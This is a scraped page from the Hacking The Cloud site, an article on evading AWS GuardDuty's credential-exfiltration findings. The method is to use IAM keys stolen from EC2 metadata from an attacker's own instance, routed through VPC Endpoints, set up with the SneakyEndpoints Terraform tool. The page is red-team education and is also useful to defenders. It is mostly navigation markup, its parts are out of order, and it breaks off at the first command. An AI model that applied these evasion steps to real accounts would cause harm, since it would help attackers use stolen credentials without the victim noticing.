data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sneakyendpoints class=md-nav__link> <span class=md-ellipsis> SneakyEndpoints </span> </a> </li> <li class=md-nav__item> <a href=#setup-and-usage class=md-nav__link> <span class=md-ellipsis> Setup and Usage </span> </a> </li> <li class=md-nav__item> <a href=#using-sts class=md-nav__link> <span class=md-ellipsis> Using STS </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sneakyendpoints class=md-nav__link> <span class=md-ellipsis> SneakyEndpoints </span> </a> </li> <li class=md-nav__item> <a href=#setup-and-usage class=md-nav__link> <span class=md-ellipsis> Setup and Usage </span> </a> </li> <li class=md-nav__item> <a href=#using-sts class=md-nav__link> <span class=md-ellipsis> Using STS </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/steal-keys-undetected.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-credential-exfiltration-detection>Bypass Credential Exfiltration Detection<a class=headerlink href=#bypass-credential-exfiltration-detection title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/SneakyEndpoints>SneakyEndpoints</a>: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints </p> </li> </ul> </div> <p>A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >instance metadata service</a> of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws>UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</a>.</p> <p>To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.</p> <p>On January 20th 2022, AWS released a new GuardDuty finding called <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws>UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS</a>. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.</p> <p>However, there is currently a functioning bypass for this - <a href=https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints.html>VPC Endpoints</a>. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, <code>if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding</code>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.</p> </div> <h2 id=sneakyendpoints>SneakyEndpoints<a class=headerlink href=#sneakyendpoints title="Permanent link">&para;</a></h2> <p>To make this setup faster/easier for Penetration Testers and Red Teamers, <a href=https://github.com/Frichetten/SneakyEndpoints>SneakyEndpoints</a> was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.</p> <h2 id=setup-and-usage>Setup and Usage<a class=headerlink href=#setup-and-usage title="Permanent link">&para;</a></h2> <p>To use SneakyEndpoints first install <a href=https://www.terraform.io/ >Terraform</a> and set AWS credentials within your shell session. </p> <p>Next, perform the following Terraform commands:</p> <div class=highlight><pre><span></span><code>terraform<span class=w> </span>init
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-credential-exfiltration-detection class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav 